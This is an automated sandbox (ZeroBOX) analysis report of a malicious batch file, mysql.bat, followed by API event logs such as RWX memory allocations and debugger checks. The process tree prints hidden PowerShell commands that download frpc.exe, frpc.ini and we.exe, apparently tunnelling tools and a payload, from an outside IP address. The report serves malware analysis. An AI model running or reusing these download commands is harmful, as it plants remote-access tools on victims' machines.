Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Nov. 11, 2024, 9:30 a.m.	Nov. 11, 2024, 9:36 a.m.

Size	576.0B
Type	DOS batch file, ASCII text
MD5	`3160d4dc332d3fc0d1be76878455fb2e`
SHA256	`d37a78095312ca41053fc3e723a2378007527002b4be07da60e87fa4fbbe0036`
CRC32	`3FF93A29`
ssdeep	`12:+nI78I40OvlnI78bB0OvXrnI787da0OgNOzHV/AfXvv:0C8I40OvtC8bB0OvXTC87da0OgNOJAP3`
Yara	Antivirus - Contains references to security software

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "dwgenGeAk" C:\Users\test22\AppData\Local\Temp\mysql.bat
2560
- cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\mysql.bat
  2632
  - powershell.exe powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadFile('http://101.133.156.69:7777/frpc.exe', \"$env:USERPROFILE\Downloads\frpc.exe\")"
    2720
  - powershell.exe powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadFile('http://101.133.156.69:7777/frpc.ini', \"$env:USERPROFILE\Downloads\frpc.ini\")"
    2956
  - powershell.exe powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadFile('http://101.133.156.69:7777/we.exe', \"$env:USERPROFILE\Downloads\we.exe\")"
    148

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
101.133.156.69	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (21 events)

Time & API	Arguments	Status	Return
GetComputerNameW Nov. 11, 2024, 9:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 11, 2024, 9:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 9:31 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 11, 2024, 9:30 a.m.			0	0
IsDebuggerPresent Nov. 11, 2024, 9:31 a.m.			0	0
IsDebuggerPresent Nov. 11, 2024, 9:31 a.m.			0	0

Command line console output was observed (24 events)

Time & API	Arguments	Status	Return
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: The system cannot find the file we.exe. console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 11, 2024, 9:32 a.m.	buffer: The system cannot find the file frpc.exe. console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 11, 2024, 9:32 a.m.	buffer: C:\Users\test22\Downloads> console_handle: 0x00000007	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "Unable to connect to th console_handle: 0x00000023	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: e remote server" console_handle: 0x0000002f	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: At line:1 char:44 console_handle: 0x0000003b	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: + IEX (New-Object Net.WebClient).DownloadFile <<<< ('http://101.133.156.69:7777 console_handle: 0x00000047	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: /frpc.exe', "$env:USERPROFILE\Downloads\frpc.exe") console_handle: 0x00000053	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000005f	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x0000006b	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "Unable to connect to th console_handle: 0x00000023	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: e remote server" console_handle: 0x0000002f	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: At line:1 char:44 console_handle: 0x0000003b	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: + IEX (New-Object Net.WebClient).DownloadFile <<<< ('http://101.133.156.69:7777 console_handle: 0x00000047	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: /frpc.ini', "$env:USERPROFILE\Downloads\frpc.ini") console_handle: 0x00000053	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000005f	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x0000006b	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "Unable to connect to th console_handle: 0x00000023	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: e remote server" console_handle: 0x0000002f	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: At line:1 char:44 console_handle: 0x0000003b	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: + IEX (New-Object Net.WebClient).DownloadFile <<<< ('http://101.133.156.69:7777 console_handle: 0x00000047	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: /we.exe', "$env:USERPROFILE\Downloads\we.exe") console_handle: 0x00000053	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000005f	1	1
WriteConsoleW Nov. 11, 2024, 9:31 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x0000006b	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 138 events)

Time & API	Arguments	Status	Return
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005316d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005317d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530f58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:30 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00658a30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00659130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00659130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00659130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 11, 2024, 9:30 a.m.		1	1	0

Powershell script has download & invoke calls (1 event)

Allocates read-write-execute memory (usually to unpack itself) (50 out of 459 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 1179648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02820000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02900000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02901000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02902000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0275a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0276b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02767000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02752000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02765000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0275c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0276c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02753000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02754000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02755000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02756000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02757000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02758000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02759000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c51000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c52000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c53000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c54000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c55000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c56000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c57000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c59000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c5a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
